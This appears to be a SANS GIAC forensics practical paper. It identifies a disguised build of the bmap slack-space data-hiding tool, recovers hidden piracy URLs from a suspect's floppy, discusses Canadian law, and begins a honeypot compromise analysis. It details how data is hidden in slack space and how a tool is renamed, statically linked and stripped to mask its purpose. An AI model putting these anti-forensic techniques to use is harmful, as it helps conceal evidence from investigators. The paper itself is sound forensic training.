Fight crime.
Unravel incidents... one byte at a time.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering
"Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)
Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.
Table of Contents

TABLE OF CONTENTS .......................................................................................................................... 2

1. ANALYSIS OF AN UNKNOWN BINARY ......................................................................................... 4
   1.1. BINARY DETAILS .................................................................................................................. 4
   1.2. PROGRAM DESCRIPTION ................................................................................................. 10
   1.3. FORENSIC DETAILS ....................................................................................................... 17
   1.4. PROGRAM IDENTIFICATION ......................................................................................... 18
   1.5. LEGAL IMPLICATIONS ................................................................................................... 20
   1.6. INTERVIEW QUESTIONS ................................................................................................. 22
   1.7. CASE INFORMATION ..................................................................................................... 23
   1.8. ADDITIONAL INFORMATION ......................................................................................... 25

2. FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM ........................................................................ 26
   2.1. SYNOPSIS OF CASE FACTS ......................................................................................... 26
   2.2. SYSTEM DESCRIPTION .................................................................................................. 27
   2.3. HARDWARE DESCRIPTION ........................................................................................... 28
   2.4. MEDIA IMAGE ................................................................................................................ 29
   2.5. MEDIA ANALYSIS ........................................................................................................ 32
   2.6. TIMELINE ANALYSIS ................................................................................................ 46
   2.7. RECOVER DELETED FILES ........................................................................................ 50
   2.8. STRING SEARCH ......................................................................................................... 52
   2.9. CONCLUSIONS ............................................................................................................ 54

3. LEGAL ISSUES OF INCIDENT HANDLING ............................................................................... 55
   3.1. QUESTIONS: .................................................................................................................. 55

APPENDICES ................................................................................................................................... 61
   APPENDIX A ......................................................................................................................... 61
      Prog file strings listing ........................................................................................................ 61
   APPENDIX B .......................................................................................................................... 91
      Bnap-1.0.20.tar.gz file list .................................................................................................. 91
   APPENDIX C .......................................................................................................................... 94
      Some Company – Acceptable Use Policy ......................................................................... 94
   APPENDIX D .......................................................................................................................... 97
      Live Response Review ...................................................................................................... 97
      Live response File listings ............................................................................................... 106
         starttime.txt .................................................................................................................. 106
         w.txt ............................................................................................................................ 106
         netsat-sockets.txt ......................................................................................................... 106
         lsob.txt ......................................................................................................................... 108
         ps.txt ........................................................................................................................... 171
         lsmod.txt ..................................................................................................................... 173
         netstat-routes.txt ....................................................................................................... 174
         ifconfig.txt .................................................................................................................. 174
         Proc-filesystem.txt .................................................................................................... 174
         stoptime.txt ................................................................................................................ 177

© SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
Live-response-june30.md5..................................................................................................................................................177
APPENDIX E..............................................................................................................................................................178
Log File review............................................................................................................................................................178
Tcpflow Output – Buffer Overflow and Root Kit placements......................................................................................192
APPENDIX F..............................................................................................................................................................203
EnCase – Final Report - Linux 7.3 System ..........................................................................................................................203
Linux 7.3 Honey pot system.............................................................................................................................................204
OS Background ................................................................................................................................................................204
startup files.....................................................................................................................................................................208
Startup files modified by root kit ....................................................................................................................................214
Config files ......................................................................................................................................................................235
Root kit files ..................................................................................................................................................................236
samba.tgz files..............................................................................................................................................................236
star.gz files – infected with Linux RST.B Virus ..................................................................................................................246
Files infected with Jac.8759 virus ......................................................................................................................................281
Files outside root kit infected with Linux RST.B virus ....................................................................................................296
IRC Files.........................................................................................................................................................................303
Log files.........................................................................................................................................................................309
Var partition from Logserver..........................................................................................................................................311
Logs before logging shutdown on Linux 7.3 system........................................................................................................311
Logs showing syslog being shutdown on Linux 7.3 system.............................................................................................324
Logs after logging shutdown on Linux 7.3 system ............................................................................................................325
APPENDIX G..............................................................................................................................................................328
Canada Criminal Code – Part V Sexual Offences, Public Morals and Disorderly conduct............................................328
APPENDIX H..............................................................................................................................................................331
References......................................................................................................................................................................331

**Document Conventions:**

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

**Bold text** within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cec5fbcff84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5 checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image-url)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

John Price - disk
Device
Evidence Number: John Price - disk
File Path: C:\Sans\evidence files\John Price - disk.E01
Actual Date: 10/14/03 08:46:24PM
Target Date: 10/14/03 08:46:24PM
Total Size: 1,474,560 bytes (1.4MB)
Total Sectors: 2,880
File Integrity: Completely Verified, 0 Errors
EnCase Version: 4.15
System Version: Windows XP
Acquisition Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Verify Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Notes: 1.44 MB floppy - John Price

Figure 2. EnCase Report Screen shot - MD5 Verification
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Selection](image1.png)

**Figure 4.** EnCase export of prog file.

![Linux 7.3 - Sans (local) - [Ctrl-Alt-F4] - VMware Workstation](image2.png)

**Figure 5.** MD5sum – byte count – filetype for ‘prog’ file (VMware)

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880  prog
```
The file command was run to determine the file type. Lines of special interest were:

- **ELF executable** – the kernel recognizes the file as a Unix executable.
- **Statically linked** – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- **Stripped** – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.\(^1\)

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```plaintext
mft_getopt
  .
  .
flag-
  flagized option invokation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
  .
  .
mft_log_shutdown
  .
  .
display fragmentation information for the file
frag
wipe the file from the raw device
  .
  .
autogenerate document ...
  1.0.20 (07/15/03)
newt
  use block-list knowledge to perform special operations on files
prog
  main
    off_t too small!
    07/15/03
    invalid option: %s
    .
    .
    unable to raw open %s
    Unable to determine count
    Unable to allocate buffer
    %s has holes in excess of %ld bytes...
    error mapping block %d (%s)
    nul block while mapping block %d.
    .
    .
```

\(^1\) Linux RedHat 7.3 "Man page for file (man file)", ver 3.37 of file - gcc binutils.
%s fragmented between %d and %d
%d %s
getting from block %d
file size was: %ld
slack size: %d
block size: %d
seek error
% File: %s Location: %ld size: %d
stuffing block %d
%s has slack
%s does not have slack
%s has fragmentation
%s does not have fragmentation
bmap_get_slack_block
NULL value for slack_block
Unable to stat fd
Unable to determine blocksize
error getting block count
fd has no blocks
mapping block %lu
error mapping block %d. ioctl failed with %s
error mapping block %d. block returned 0
bmap_get_block_count
unable to stat fd
unable to determine filesystem blocksize
filesystem reports 0 blocksize
computed block count: %d
stat reports %d blocks: %d
bmap_get_block_size
bmap_map_block
null block while mapping block %d.
bmap_raw_open
NULL filename supplied
Unable to stat file: %s
%s is not a regular file.
unable to determine raw device of %s
unable to stat raw device %s
device mismatch 0x%x != 0x%x
unable to open raw device %s
raw fd is %d
bmap_raw_close
/.../image
.
.
keld@dkuuq.dk
Keld Simonsen
ISO/IEC 14652 i18n FDCC-set
C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn V
ISO/IEC JTC1/SC22/WG20 - internationalization

The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

```
“1.0.20 (07/15/03)”
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

### 1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an:

```
“ELF 32-bit LSB executable for the Intel 80386 platform”.
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

### Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.
The command for running snort was “snort -vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsof, ps, netstat, lsmod and ls were run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

   The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort -dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was “no filename. Try ‘--help’ for help”. Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```bash
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```bash
strip bmap
```

The ‘bmap’ file was compared with the ‘prog’ file using “md5sum”, “file” and “ll” output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the ‘prog’ file. The ‘file’ command output and byte count matched.
The ‘prog’ file and the newly compiled ‘bmap’ file were run with the --help switch. The output from both is shown:

```
[root@localhost bin1.4]$ ./prog --help
prog1.0.20 (07/15/03) newt
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
where VALUE is one of:
v ersion display version and exit
h elp display options and exit
m an generate man page and exit
sgml generate SGML invocation info

--mode VALUE
where VALUE is one of:
m  list sector numbers
c  extract a copy from the raw device
s  display data
p  place data
w  wipe
chk  test (returns 0 if exist)
sh print number of bytes available
wip  e wipe the file from the raw device
frag display fragmentation information for the file
checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
--verbose be verbose
--log-thresh <none | fatal | error | info | branch | progress | entryexit> logging threshold ...
--target <filename> operate on ...

=================================================================================

[root@localhost bin1.4]# ./bmap --help
bmap:1.0.20 (07/15/03) newt@scyld.com
Usage: bmap [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
where VALUE is one of:
version  display version and exit
help    display options and exit
man     generate man page and exit
sgml    generate SGML invocation info

--mode VALUE
where VALUE is one of:
map     list sector numbers
        extract a copy from the raw device
slack   display data in slack space
        place data into slack
        test for slack (returns 0 if file has slack exist)
        print number of slack bytes available
        wipe the file from the raw device
        display fragmentation information for the file
        test for fragmentation (returns 0 if file is fragmented)
--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
--verbose be verbose
--log-thresh <none | fatal | error | info | branch | progress | entryexit> logging threshold ...
--target <filename> operate on ...

The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1.
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>slackbytes</td>
<td>test for slack (returns 0 if file has slack)</td>
</tr>
<tr>
<td>checkslack</td>
<td>test (returns 0 if exist)</td>
</tr>
<tr>
<td>wipe slack</td>
<td>wipe</td>
</tr>
<tr>
<td>wipe slack</td>
<td>place data into slack</td>
</tr>
<tr>
<td>putslack</td>
<td>display data in slack space</td>
</tr>
<tr>
<td>slack</td>
<td>extract a copy from the raw device</td>
</tr>
<tr>
<td>carve</td>
<td>list sector numbers</td>
</tr>
<tr>
<td></td>
<td>operation to perform on files</td>
</tr>
<tr>
<td></td>
<td>mode</td>
</tr>
<tr>
<td></td>
<td>generate SGML invocation info</td>
</tr>
<tr>
<td></td>
<td>generate man page and exit</td>
</tr>
<tr>
<td></td>
<td>display options and exit</td>
</tr>
<tr>
<td></td>
<td>help</td>
</tr>
<tr>
<td></td>
<td>display version and exit</td>
</tr>
<tr>
<td></td>
<td>version</td>
</tr>
<tr>
<td></td>
<td>autogenerate document ...</td>
</tr>
<tr>
<td></td>
<td>prog</td>
</tr>
</tbody>
</table>

Table 1: String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"
  
  ```c
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "putslack" to "p" and removed "into slack" from line.
- Changed "checkslack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
*Seached on “bmap” and changed to “prog”*
*Changed author in Make file from “newt@scyld.com” to “newt”*
*Added -static to LD_FLAGS on line 30 in Makefile.*
*Changed date to Jul 15, 2003*

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bcade02b97d17f20f0937df10511fcf8”. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog –help” and “bmap –help” are shown below. Note: No differences were found.

```
:::bmap.strace3
:::5902-execve(“./bmap”, [“./bmap”], /* 19 vars */) = 0
5902-geteuid32() = 0
5902-execve(“./bmap”, [“./bmap”], /* 19 vars */) = 0
5902-fcnt164(0, _GETFD) = 0
5902-fcnt164(1, _GETFD) = 0
5902-fcnt164(2, _GETFD) = 0
5902-geteuid32() = 0
5902-getuid32() = 0
5902-getegid32() = 0
5902-getgid32() = 0
5902-brk(0) = 0x80bedec
5902-brk(0x80bee0c) = 0x80bee0c
5902-brk(0x80bf000) = 0x80bf000
5902-brk(0x80c0000) = 0x80c0000
5902-write(2, “no filename. try ‘--help’ for he...”, 36) = 36
5902-_exit(2) = ?
:::prog.strace3
:::5904-execve(“./prog”, [“./prog”], /* 19 vars */) = 0
5904-geteuid32() = 0
5904-execve(“./prog”, [“./prog”], /* 19 vars */) = 0
5904-fcnt164(0, _GETFD) = 0
5904-fcnt164(1, _GETFD) = 0
5904-fcnt164(2, _GETFD) = 0
5904-geteuid32() = 0
5904-getuid32() = 0
5904-getegid32() = 0
5904-getgid32() = 0
5904-brk(0) = 0x80bedec
5904-brk(0x80bee0c) = 0x80bee0c
5904-brk(0x80bf000) = 0x80bf000
5904-brk(0x80c0000) = 0x80c0000
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The "prog" file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of 'prog' did not rely on specific libraries being present on the system. Based on the 'bmap' and 'prog' analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
newt
  use block-list knowledge to perform special operations on files
   .
   .
   bmap_get_block_size
   bmap_map_block
   .
   bmap_raw_open
   .
   .
   bmap_raw_close
   .
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with "snort --dv" when the 'prog' file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the 'prog' file to be identical to the 'bmap' program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMware workstation. The bmap program was run on files using the --slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024
[root@localhost bin1.4]# file Sound-slack.out
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm
***NOT FOR DISTRIBUTION***
[root@localhost bin1.4]#

The strings output was used to locate the source code for the “prog” program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

1.4. Program Identification

The source for bmap-1.0.20 was located at ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program 'bmap' is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch “-static” was added.

```
.
.
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/.../image"

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static

BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
.
.
```

The compile of the “bmap” executable was done by typing “make” in the bmap-1.0.20 directory. To strip the file the command used was “strip bmap”. An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2936dca14ac353e9765cb6b2b2 bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3efa63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right,
(a) obtains, directly or indirectly, any computer service,
(b) by means of an electro-magnetic, acoustic, mechanical or other
device, intercepts or causes to be intercepted, directly or
indirectly, any function of a computer system,
(c) uses or causes to be used, directly or indirectly, a computer
system with intent to commit an offence under paragraph (a) or (b) or
an offence under section 430 in relation to data or a computer
system, or
(d) uses, possesses, traffics in or permits another person to have
access to a computer password that would enable a person to commit an
offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to imprisonment for a
term not exceeding ten years, or is guilty of an offence punishable
on summary conviction. 3

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

Definition of “property”

428. In this Part, “property” means real or personal corporeal property.

Mischief

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

Mischief in relation to data

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction. 4

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What logon ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
5) What workstations do you use? Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and/or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```
# find / -name "*" -type f -exec bmap -checkslack {} \;
```

The command will start at root (/) looking for all (-name "") files (-type f) and run “bmap –checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
{root@localhost bin1.4}" zcat Sound-slack.out
Ripped MP3s - latest releases:

www.filespheres.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.1386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and minib300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,
I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information

Linux Data Hiding and Recovery Article -  


Section 2

2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The hard drive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5" floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2\(^5\) kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to IP address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

